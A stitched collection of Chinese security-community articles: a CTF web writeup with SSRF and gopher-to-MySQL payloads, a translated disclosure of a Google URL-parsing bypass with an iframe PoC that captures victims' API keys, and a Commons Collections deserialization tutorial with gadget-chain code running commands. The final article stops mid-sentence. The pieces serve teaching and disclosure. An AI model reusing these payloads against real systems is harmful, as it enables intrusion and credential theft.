#### 5.2 Java
参考文章[浅谈Java反序列化漏洞修复方案](https://github.com/Cryin/Paper/blob/master/) | 社区文章 |
# ISITDTU CTF 2018 部分Web题目Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
28号的时候师傅们都在打real world ctf，看了一下real world
ctf实在玩不动。。。于是就去玩了玩这个越南的ctf比赛的web部分的题目。整体而言这个比赛的web部分的题目偏中等难度，还是比较适合新手的一次练手，部分题目也有一定的新意。这里给出部分题目的writeup。
## IZ
> [题目地址](http://35.185.178.212/)
打开题目可以获得题目源码：
<?php
include "config.php";
$number1 = rand(1,100000000000000);
$number2 = rand(1,100000000000);
$number3 = rand(1,100000000);
$url = urldecode($_SERVER['REQUEST_URI']);
$url = parse_url($url, PHP_URL_QUERY);
if (preg_match("/_/i", $url))
{
die("...");
}
if (preg_match("/0/i", $url))
{
die("...");
}
if (preg_match("/w+/i", $url))
{
die("...");
}
if(isset($_GET['_']) && !empty($_GET['_']))
{
$control = $_GET['_'];
if(!in_array($control, array(0,$number1)))
{
die("fail1");
}
if(!in_array($control, array(0,$number2)))
{
die("fail2");
}
if(!in_array($control, array(0,$number3)))
{
die("fail3");
}
echo $flag;
}
show_source(__FILE__);
?>
可以看到题目的逻辑主要是获取query_string后用parse_url处理，处理后的$url再进行过滤，可以看到这里的过滤非常严所以想要绕过过滤还是有一定难度的。
然而parse_url函数存在一个bug:
当url的格式为`http:/localhost///x.php?key=value`的方式可以使其返回`False`
这样就可以成功绕过之后的三次preg_match的过滤.
绕过三次preg_match的过滤后程序又进行了三次in_array()判断，而三次in_array()的数组都存在0这样一个元素。而由php弱类型的特性，in_array()在判断时使用的是弱比较，当比较一个字符串和一个数字时默认会尝试把字符串转换为数字，如果字符串的第一个字符不是数字的话则该字符串会被转化成0.具体的转化规则可以参考[php.net中的描述](http://php.net/manual/zh/language.operators.comparison.php)。
因此最终的payload为：
///?_=a
访问即可获取flag。
## Friss
> [题目地址](http://35.190.142.60/)
题目进去后是一个表单页面：
可以判断这个题目应该是要考ssrf相关的东西。于是首先测试file协议看能不能读到文件，输入`file:///etc/passwd`，结果题目返回：
NULL
Only access to localhost
可以看到后台判断了服务器是否为localhost，所以我们通过`file://localhost/etc/passwd`即可绕过限制。这里我们尝试读题目源码：
`file://localhost/var/www/html/index.php`
<?php
include_once "config.php";
if (isset($_POST['url'])&&!empty($_POST['url']))
{
$url = $_POST['url'];
$content_url = getUrlContent($url);
}
else
{
$content_url = "";
}
if(isset($_GET['debug']))
{
show_source(__FILE__);
}
?>
`file://localhost/var/www/html/config.php`
<?php
$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;
$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);
function initdb($conn)
{
$dbinit = "create table if not exists flag(secret varchar(100));";
if(mysqli_query($conn,$dbinit)) return 1;
else return 0;
}
function safe($url)
{
$tmpurl = parse_url($url, PHP_URL_HOST);
if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
{
var_dump($tmpurl);
die("<h1>Only access to localhost</h1>");
}
return $url;
}
function getUrlContent($url){
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
echo $pl;
$content = shell_exec($pl);
return $content;
}
initdb($conn);
?>
可以看到在config.php中告诉我们flag在数据库中且给出了我们一个空密码的mysql账户。因此我们便可以联想到34c3ctf中的一道[使用gopher协议攻击mysql的题目](http://www.freebuf.com/articles/web/159342.html)。
这里gopher协议的主要功能是可以直接发起socket连接获取数据，而且由于mysql这里给出的密码是空密码，因此可以通过gopher发起sql请求来获取数据。
因此我们可以在本地用mysql搭建同样的环境，使用mysql客户端进行一次连接并获取执行读取flag的操作，用wireshark抓包后将抓取到的数据urlencode之后构造成符合gopher结构的payload即可获取到最后的flag。
首先我们创建相同的用户和同样的表结构：然后给该用户此数据库的权限后使用该用户登入，获取该数据库内的flag信息，同时使用wireshark抓取lo上的包:
wireshark中我们设置只显示客户端发送的数据包，以原始数据的形式显示
将数据复制下来转换成urlencode的形式，构造gopher的链接为：
gopher://127.0.0.1:3306/_%A8%00%00%01%85%A6%FF%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf_user%00%00mysql_native_password%00f%03_os%05Linux%0C_client_name%08libmysql%04_pid%0519500%0F_client_version%065.7.22%09_platform%06x86_64%0Cprogram_name%05mysql%21%00%00%00%03select%20%40%40version_comment%20limit%201%12%00%00%00%03SELECT%20DATABASE%28%29%05%00%00%00%02ssrf%0F%00%00%00%03show%20databases%0C%00%00%00%03show%20tables%06%00%00%00%04flag%00%13%00%00%00%03select%20%2A%20from%20flag%01%00%00%00%01
最后可以在回显中获取flag
## NNService
> [题目地址](http://35.240.231.243/)
先扫描查看是否存在源码泄露，发现存在robots.txt,提示存在源码bk/bk.zip,访问即可获取题目的源码。
这里我们主要分析题目最后导致getflag的两个点，在`index.controller.php`中,首先分析更改个人信息的位置上传头像的点:
if($_FILES['avatar'] and $_FILES["avatar"]["error"] == 0){
if((($_FILES["avatar"]["type"] == "image/gif") or ($_FILES["avatar"]["type"] == "image/jpeg") or ($_FILES["avatar"]["type"] == "image/png")) and $_FILES['avatar']['size']<65535){
$info=getimagesize($_FILES['avatar']['tmp_name']);
if(@is_array($info) and array_key_exists('mime',$info)){
$type=explode('/',$info['mime'])[1];
$filepath=$this->user->getuser().".".$type;
$filename="uploads/".$filepath;
if(is_uploaded_file($_FILES['avatar']['tmp_name'])){
$this->user->edit("avatar",array($filepath,$type));
if(strpos($filepath,"..") !== false)
{
die("Hacker, cut please!");
}
else if(move_uploaded_file($_FILES['avatar']['tmp_name'], $filename)){
quit_and_refresh('Upload success!','edit');
}
quit_and_refresh('Success!','edit');
}
}else {
//TODO！report it！
quit('Only allow gif/jpeg/png files smaller than 64kb!');
}
}
else{
//TODO！report it！
quit('Only allow gif/jpeg/png files smaller than 64kb!');
}
}
分析代码流程，首先判断图片的mime类型，然后使用getimagesize获取图片的信息，之后从getimagesize获取到的图片信息中获取图片的后缀名，之后可以看到`$filepath=$this->user->getuser().".".$type;`，将用户名与图片名称拼接为图片上传路径，后调用`$this->user->edit("avatar",array($filepath,$type));`,跟到`user.class.php`文件中可以发现这一步的操作实质是将文件名写入了数据库中。之后
**使用强等于** 判断文件名中是否含有`..`，如果含有`..`则终止整个流程，否则将移动上传的图片到upload文件夹下，命名为`用户名.文件类型`;
然后我们再分析export处的源码：
public function export(){
$avatar=$this->user->getavatar();
if(substr($avatar,0,5)!=="data:"){
$fileavatar=substr($this->user->getavatar(),1);
$avatar = "uploads/".$fileavatar;
if(file_exists($avatar) and filesize($avatar)<65535 and strpos($fileavatar,"..")==false){
$data=file_get_contents($avatar);
if(!$this->user->updateavatar($data)) quit('Something error!');
}
else{
//TODO！report it！
$out="Your avatar is invalid, so we reported it"."</p>";
include("templates/error.html");
die("<br>");
}
}
$article=$this->user->getarticle();
$data="";
for($i=0;$i<count($article);$i++){
if($i!=count($article)-1){
$data.=$article[$i][2]."rn";
$data.=$article[$i][3]."n";
$data.="----------n";
}
else{
$data.=$article[$i][2]."rn";
$data.=$article[$i][3]."n";
}
}
$data.="==========n";
$avatar=$this->user->getavatar(1);
$data.=base64_encode($avatar[1])."n";
$data.=$avatar[3];
header("Content-type: application/octet-stream");
header("Content-Transfer-Encoding: binary");
header("Accept-Ranges: bytes");
header("Content-Length: ".strlen($data));
header("Content-Disposition: attachment; filename="".$this->user->getuser().""");
echo $data;
}
可以看到export处的代码在进行导出时，首先调用`$avatar=$this->user->getavatar();`获取头像的信息，我们跟到`user.class.php`中可以发现这一步操作便是将我们之前写入数据库的文件名取出。然后这里的代码对文件进行判断，判断文件是否存在，文件大小是否小于65535，以及
**使用弱等于** 判断文件名中是否含有`..`。之后便获取文件内容并base64加密后拼接上之前的一些信息输出文件。
这里我们可以看到主要的漏洞点在于写入数据库的操作在判断文件名是否包含`..`之前，因此我们即使文件名中包含了`..`最后不合法的文件名也会被写入数据库。而在之后export处读取到文件名后使用的是弱等于判断：
strpos($fileavatar,"..")==false
然而当我们构造类似`../flag.php`的字符串时，strpos返回`..`出现的位置0，而`0==false`成立。因此我们便可以成功实现目录穿越。
但是这里还有一点：我们的文件名的生成方式是`用户名.文件类型`,文件类型由getimagesize()函数获得，因此只能是图片文件的后缀名，那么怎样才能截断这个后缀名从而成功获取`flag.php`的源码？
这里我们查看之前下载到的源码中的sql文件:
CREATE TABLE IF NOT EXISTS `users` (
`id` int(32) primary key auto_increment,
`username` varchar(100) UNIQUE KEY,
`nickname` varchar(100) UNIQUE KEY,
`password` varchar(32),
`email` varchar(100) UNIQUE KEY
);
CREATE TABLE IF NOT EXISTS `articles` (
`id` int(32) primary key auto_increment,
`user_id` int(32),
`title` varchar(100),
`content` varchar(500)
);
CREATE TABLE IF NOT EXISTS `avatar` (
`id` int(32) primary key auto_increment,
`data` blob,
`user_id` int(32) UNIQUE KEY,
`filepath` varchar(100),
`photo_type` varchar(20)
);
可以看到这里的sql文件中限制了图片路径`filepath`字段的长度最多为100，用户名`username`的长度也最多为100。这里便可以联想到mysql的一个性质：`当mysql开启宽松模式时，在INSERT的时候，如果你插入的字符超出了MySQL的字段长度，MySQL会自动截断到最大长度然后插入，并不会出错。`，具体可以参考这篇文章：<http://www.91ri.org/5963.html>
因此我们如果注册长度为100的用户名，在将文件名写入数据库时，用户名之后拼接的后缀便会被截断从而无法进入数据库，因此便实现了我们对文件的控制。
最后解题的方法为：
* 注册用户名：`..//////////////////////////////////////////////////////////////////////////////////////////flag.php`
* edit处随意上传一张图片
* export处导出数据，便可获得flag。
## 总结
这场比赛整体难度适中，比较适合新手用于提高自己的水平。此外比赛源码已经上传到<https://github.com/susers/Writeups>上，欢迎大家star与pull
request！
## 参考资料
* <http://php.net/manual/zh/language.operators.comparison.php>
* <http://www.freebuf.com/articles/web/159342.html>
* <https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2>
* <http://www.91ri.org/5963.html> | 社区文章 |
# tl;dr
作者本想绕过一个小小的网络应用程序的域检测，但没想到绕过了(几乎)所有Google产品中使用的URL解析器。
# 发现过程
作者浏览Gmail API文档时，发现了一个按钮，按下按钮，就会生成一个Gmail API密钥：
这时候作者想到，是不是可以通过使受害者单击链接来执行谷歌云控制台操作。
弹出的这个应用程序叫henhouse,GMmail API文档将henhouse应用程序嵌入IFrame。这是在iFrame中加载的URL:
https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://developers.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]
url中的pb[4]是`https://developers.google.com`，作者发现父级和子级IFrame之间存在某种通信，例如用户可以单击Done按钮关闭henhouse窗口并返回文档。经过一些测试，作者确认henhouse应用程序将postMessages发送到父域(更准确地说，发送到pb[4]中指定的域)。如果生成了API密钥/OAuth客户端ID，它也会在postMessage中发回给父域。
至此，作者已经脑补了整个攻击场景。作者将henhouse嵌入到自己的恶意网站上，然后监听postMessage中的受害者API密钥。接下来作者必须要把自己的网站放到URL中。
但这个事情并不是手到擒来。
作者对javascript进行逆向，弄清楚白名单的原理。
经过对混淆的javascript进行处理后，白名单原理的大体伪代码在这里
// This is not real code..
var whitelistedWildcards = ['.corp.google.com', '.c.googlers.com'];
var whitelistedDomains = ['https://devsite.googleplex.com', 'https://developers.google.com',
'https://cloud-dot-devsite.googleplex.com', 'https://cloud.google.com'
'https://console.cloud.google.com', 'https://console.developers.google.com'];
var domainURL = URL.params.pb[4];
if (whitelistedDomains.includes(domainURL) || getAuthorityFromMagicRegex(domainURL).endsWith(whitelistedWildcards)) {
postMessage("API KEY: " + apikey, domainURL);
}
绕过`whitelistedDomains`有点困难，但我们可以从`whitelistedWildcards`入手,它检查URL是否以`.corp.google.com`或`.c.googlers.com`结尾。
getAuthorityFromMagicRegex函数
var getAuthorityFromRegex = function(domainURL) {
var magicRegex = /^(?:([^:/?#.]+):)?(?:\/\/(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/;
return magicRegex.match(domainURL)[3]
}
正则表达式有点复杂。magicRegex.Match(DomainURL)[3]中有什么？
让我们看看在JS控制台上正则表达式会返回什么：
"https://user:[email protected]:8080/path/to/something?param=value#hash".match(magicRegex);
Array(8) [ "https://user:[email protected]:8080/path/to/something?param=value#hash",
"https", "user:pass", "test.corp.google.com", "8080", "/path/to/something", "param=value", "hash" ]
好的，所以magicRegex.Match(DomainURL)[3]是权限(域)。
作者将此正则表达式放在 www.debuggex.com 中。一个可视化网站，便于操作
这个权限域以 `/ ``?` 或`#`结束，之后的任何内容都不再是域名。
但作者有个想法，是否存在这样一个字符，它在被浏览器解析时结束权限，被正则表达式解析时，不会失去权限。
通过生成以`.corp.google.com`结尾的内容进而绕过检查。
https://xdavidhu.me[MAGIC_CHARACTER]test.corp.google.com
因此，对于浏览器来说，权限是xdavidhu.me，但是对于正则表达式来说，权限就是全部内容，它以.corp.google.com结尾，因此允许发送API密钥postMessage。
作者写了一个JavaScript fuzzer来寻找个字符
var s = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~';
for (var i = 0; i < s.length; i++) {
char = s.charAt(i);
string = 'https://xdavidhu.me'+char+'.corp.google.com';
try {
const url = new URL(string);console.log("[+] " + string + " -> " + url.hostname);
} catch {
console.log("[!] " + string + " -> ERROR");
}
}
结果
[+] https://xdavidhu.me/.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me?.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me#.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me\.corp.google.com -> xdavidhu.me
除了`/`，`?`，`#`，\也起到了同样的效果！
(Firefox，Chrome，Safari)都适用！
作者刨根问底，在[源码](https://source.chromium.org/chromium/chromium/src/+/master:url/third_party/mozilla/url_parse.cc;l=821;
"源码")中找到了原因
bool IsAuthorityTerminator(base::char16 ch) {
return IsURLSlash(ch) || ch == '?' || ch == '#';
}
`IsURLSlash`函数：
inline bool IsURLSlash(base::char16 ch) {
return ch == '/' || ch == '\\';
}
# JS Console exploit
// Regex parsing
"https://user:[email protected]\\test.corp.google.com:8080/path/to/something?param=value#hash".match(magicRegex)
Array(8) [ "https://user:[email protected]\\test.corp.google.com:8080/path/to/something?param=value#hash",
"https", "user:pass", "xdavidhu.me\\test.corp.google.com", "8080", "/path/to/something", "param=value", "hash" ]
// Browser parsing
new URL("https://user:[email protected]\\test.corp.google.com:8080/path/to/something?param=value#hash")
URL { href: "https://user:[email protected]/test.corp.google.com:8080/path/to/something?param=value#hash",
origin: "https://xdavidhu.me", protocol: "https:", username: "user", password: "pass", host: "xdavidhu.me",
hostname: "xdavidhu.me", port: "", pathname: "/test.corp.google.com:8080/path/to/something", search: "?param=value" }
# POC
将PoC嵌入henhouse，并获取受害者的API密钥。
<iframe id="test" src='https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://xdavidhu.me\\test.corp.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]'></iframe>
<script>
window.addEventListener('message', function (d) {
console.log(d.data);
if(d.data[1] == "apikey-credential"){
var h1 = document.createElement('h1');
h1.innerHTML = "Your API key: " + d.data[2];
document.body.appendChild(h1);
}
});
</script>
<https://www.youtube.com/embed/F4DhJDV5sDs>
对于这个漏洞，等级可高可低，只能“窃取”API密钥或OAuth客户端ID。
# 进一步研究
作者想，这个复杂的正则表达式不可能只是专门为henhouse构造的。
作者开始在其他Google产品中抓取JS文件，发现这个正则表达式无处不在。Google Cloud Console、Google Actions
Console的JS、 YouTube Studio、myaccount t.google.com(！),甚至在一些谷歌安卓应用程序中也有它的身影！
一天后，作者在谷歌公司(Google Corp)的登录页面(login.corp.google.com)上发现了
var goog$uri$utils$splitRe_ = [THE_MAGIC_REGEX],
在使用类似“end -with”逻辑进行域验证时，可以使用\字符绕过此正则表达式。
报告给google公司后，收到了这样的回复
几周后，作者在LiveOverFlow的XSS on Google Search’
video”视频中得到这样一条关键信息，“Google的JavaScript代码实际上是开源的！”
作者打开了[Closure libary GitHub repo](https://github.com/google/closure-library
"Closure libary GitHub repo")，并查看了[提交](https://github.com/google/closure-library/commit/ac0736b578df04ca23cc0fbf157824e57631c840 "提交")。
# 时间线
[2020年1月4日]：漏洞报告
[2020年1月6日]：初步分类
[2020年1月6日]：漏洞等级修正（P4-> P1）
[2020年1月17日]：赏金6000美元
[2020年3月6日]：修复漏洞
https://bugs.xdavidhu.me/google/2020/03/08/the-unexpected-google-wide-domain-check-bypass/ | 社区文章 |
# 谭谭CommonsCollections的二三事
## 前言
[Apache Commons Collections](https://commons.apache.org/proper/commons-collections/index.html)是一个扩展了`Java`标准库里的`Collection`结构的第三方基础库，它提供了很多强有力的数据结构类型并实现了各种集合工具类，被广泛运用于各种`Java`应用的开发，目前常说的存在缺陷的版本是`Apache
Commons Collections 3.2.1`以下（4.0版本也是存在的）
其主要特点如下
Bag - Bag接口简化了每个对象具有多个副本的集合。
BidiMap - BidiMap接口提供双向映射，可用于使用键或键使用的值来查找值。
MapIterator - MapIterator接口为映射提供了简单和易于迭代方法。
转换装饰器 - 转换装饰器(Transforming Decorators)可以在集合添加到集合时改变集合的每个对象。
复合集合 - 复合集合用于要求统一处理多个集合的情况。
有序映射 - 有序映射保留元素添加的顺序。
有序集 - 有序集保留元素添加的顺序。
参考映射 - 参考映射允许在密切控制下对键/值进行垃圾收集。
比较器实现 - 许多比较器实现都可用。
迭代器实现 - 许多迭代器实现都可用。
适配器类 - 适配器类可用于将数组和枚举转换为集合。
实用程序 - 实用程序可用于测试测试或创建集合的典型集合理论属性，如联合，交集。 支持关闭。
但是 其中却出现了严重的安全问题
来源于一个功能 —— 转换装饰器 可以在集合添加到集合时改变集合的每个对象。（CVE-2015-4852）
首先 我们搭建一下测试环境 JDK1.7 和 3.1版本的CC包
然后把我们的测试demo放进去
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
okok 至少是好用的 下面就可以开始分析了
同时 也放出p牛的极简版demo
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\\\WINDOWS\\System32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
也是ok的嗷
### 方式与接口介绍
#### TransformedMap
他是可以对Java标准数据结构 Map 做一个修饰 被修饰过的Map在添加新的元素时可以执行一个回调
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
我们可以通过上面这串代码 对innerMap进行修饰 传出的outerMap就是修饰后端Map 同时
可以通过TransformedMap.decorate() 方法 来获得一个TransformedMap的实例
官方文档中 keyTransformer是 处理新元素Key的回调 valueTransformer是处理新元素value的回调
这里的回调 并不是传统意义上的回调函数 而是一个实现了Transformer接口的类
#### Transformer
他是一个接口 只有一个待实现的方法
public interface Transformer {
Object transform(Object var1);
}
TransformedMap 在转换 Map 的新元素时，就会调⽤ transform ⽅法，这个过程就类似在调⽤⼀个 回调函数
，这个回调的参数是原始对象。
#### ConstantTransformer
他是实现了Transformer接口的一个类 他的过程就是在构造函数时传入一个对象并在transform方法 将这个对象返回
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
所以 他的作用就是 包装任意一个对象 在执行回调的时候 返回这个对象
#### InvokerTransformer
InvokerTransformer 是 实现了Transformer接口的一个类 可以用来执行任意方法 也是反序列化的关键
在实例化这个InvokerTransformer的时候 需要三个参数 第一个是待执行的方法名 第二个是这个函数的参数列表的参数类型
第三个是传给这个函数的参数列表
一些继承
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
在这个类中实现的transform方法如下
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
就是执行了input 对象的iMethodName方法
这一段代码就是对于反射的实现 getClass() getMethod() invoke()
#### ChainedTransformer
跟上面的一样 也是实现了Transformer接口的一个类 其作用是 将内部的多个Transformer串在一起 前一个回调返回的结果
作为后一个回调的参数传入
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
利用一个循环，把一串 transform 串起来
#### 接口回调
以一个栗子来说明 接口回调就像是上级领导要求你做某一件事，你在做完这个事之后向领导汇报你做完了、有什么结果，这个汇报的行为就是接口回调的概念所在。
### 反射内容扩展
#### Constructor.newInstance
在之前p牛的文章中 我们曾见到过这个函数 也就是 和Class.newInstance()一起介绍的
Class.newInstance() 只能够调用无参的构造函数，即默认的构造函数；但是 Constructor.newInstance()
可以根据传入的参数，调用任意构造构造函数。Class.newInstance() 要求被调用的构造函数是可见的，也即必须是 public 类型的，但是
Constructor.newInstance() 在特定的情况下，可以调用私有的构造函数，需要通过 setAccessible(true) 实现。
public T newInstance(Object... initargs)
throws InstantiationException, IllegalAccessException,
IllegalArgumentException, InvocationTargetException
首先 我们需要用到一个新的 反射方法 getConstructor 其与getMethod相类似 其接受的参数还是有 构造函数列表类型 因为
构造函数也支持重载 所以 必须用参数列表类型parameterTypes才能确定一个唯一的构造函数
public Constructor<T> getConstructor(Class<?>... parameterTypes) throws NoSuchMethodException,SecurityException
比如 我们常用的一种执行命令的凡是 ProcessBuilder 我们可以适用反射来获取其构造函数 然后调用start() 来执行命令
java.lang.ProcessBuilder中 有两个构造函数 但是都是有参数的 非默认的函数
`public ProcessBuilder(List<String> command) public ProcessBuilder(String...
command)`
JDK安装目录下的jre\lib下的rt.jar存放的是所有的class文件，安装目录下的src.zip存放的是所有的源代码
我们还是可以利用forName来获取类的对象 然后后续再利用getMethod("")和 invoke() 获取构造方法 并调用start执行命令
这里参数可以直接写在Constructor.newInstance 中 作为构造方法的参数
package test;
import java.util.Arrays;
import java.util.List;
public class test {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
}
}
#### 引用类型转换
或者 我们可以这样写
package test;
import java.util.Arrays;
import java.util.List;
public class test {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
}
}
这样用到的就是一个强制类型转换 是在引用过程中发生的引用类型转换
如此写 我们可以省略掉 之前反射中的getMethod.invoke 的步骤
#### 可变参数
我们前面有提到 ProcessBuilder是有两个构造方法的
刚才上面是第一个 下面看一下第二个
public ProcessBuilder(String... command)，这里是 JAVA 中的 可变长参数
，当你定义函数的时候不确定参数数量的时候，可以使用 ... 这样的语法来表示“这个函数的参数个数是可变的” 也就是我们常说的可变参数 但是
在使用这种方式表达的时候 Java在编译的时候实际上会将其编译成一个数组 所以这种表达方式 和 String[] 这种表达方式 是等价的 且不能重载
也就是说 当我们传入一个数组的时候 这里的可变参数 实际上也是可以当数组来用的 我们认定其为数组就OK
所以 我们将字符串数组的类 String[].class 传给 getConstructor 获取ProcessBuilder的第二种构造函数
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)
在调用newInstance的时候 因为本身这个函数接受到的就是一个可变参数 是一个数组 我们传给ProcessBuilder的也是一个数组
叠加就会编程二维数组 String[][]
我们将上面的两个调用方法稍加修改
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})));
#### 执行私有方法
涉及到getDeclared系列的反射 与我们之前的getMethod的区别在于
getMethod系列方法获取的是当前类中所有公共方法，包括从父类继承的方法
getDeclaredMethod系列方法获取的是当前类中“声明”的方法，是实在写在这个类里的，包括私有的方法，但从父类里继承来的就不包含了
现在我们可以这样 下面用到了一个getDeclaredConstructor() 可以获取一个私有的
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
这里用到了一个setAccessible 是必须的 我们获取到一个私有方法的时候 必须使用setAccessible修改其作用域 来打破私有方法的访问限制
## CommonsCollections 1
### TransformedMap
#### P牛的demo
我们可以先顺着main函数来看
一开始涉及到了 一个实例化接口的操作 虽说接口不能直接被实例化 但是 像这种情况出现 其后面肯定不止有接口 会存在一些匿名内部类 在匿名内部类的创建过程中
实际上实例化了一个实现接口 未命名的类
众所周知 在Java的多态中 父类可以引用指向子类对象
在这里也是一样 接口可以指向其实例化对象 实例化对象中 必然会实现接口中定义的方法和属性 同时 对象的类型必须是new出来的类型
Runnable runnable = new Runnable()
不过引用只能调用接口定义的方法 我们这里的数组声明就是这个概念的一个延申
插入 Java 数组的定义方法 dataType[] arratRefVar = xxx ，当然也可以像 PHP
一样把中括号跟在数组名后面，但是并不是首选的方法，首选方法还是写出来的这种。
再顺着看
在这里创建了一个ChainedTransformer包含两个Transformer 实现了Transformer接口的两个类
ConstantTransformer 和 InvokerTransformer 前者 用来得到Runtime 对象
后者调用Runtime对象的exec方法 后面跟了RCE的参数
再往下看
是一个实例化 ChainedTransformer 就是会将上面数组中写的几个Transformer串在一起
然后就是TransformedMap 因为 我们这里是一系列的回调 我们需要用其来包装innerMap 用我们一开始提到的decorate便可以
然后通过outerMap放入一个新的元素 就可以触发一串回调
#### 转化poc
当然 在实际中 自然不会有添加上的outerMap.put() 来触发回调 我们需要找到一个类 在反序列化readObject的时候有类似写入的操作
##### AnnotationInvocationHandler
这里的用到的类就是 sun.reflect.annotation.AnnotationInvocationHandler ，我们看到它的
readObject 方法(8u71之前的代码)：
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
这里的核心逻辑就是`Map.Entry<String, Object> memberValue : memberValues.entrySet()` 和
`memberValue.setValue(...)`
memberValues就是反序列化之后得到的Map 经过了TransformeredMap修饰的对象 遍历了所有元素 并依次设置值
在调用setValue设置值的时候 就会触发TransformedMap里注册的Transform
所以 当我们构造poc的时候 就需要构建一个AnnotationInvocationHandler对象 将前面构造的HashMap放置进来
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
这里因为 sun.reflect.annotation.AnnotationInvocationHandler
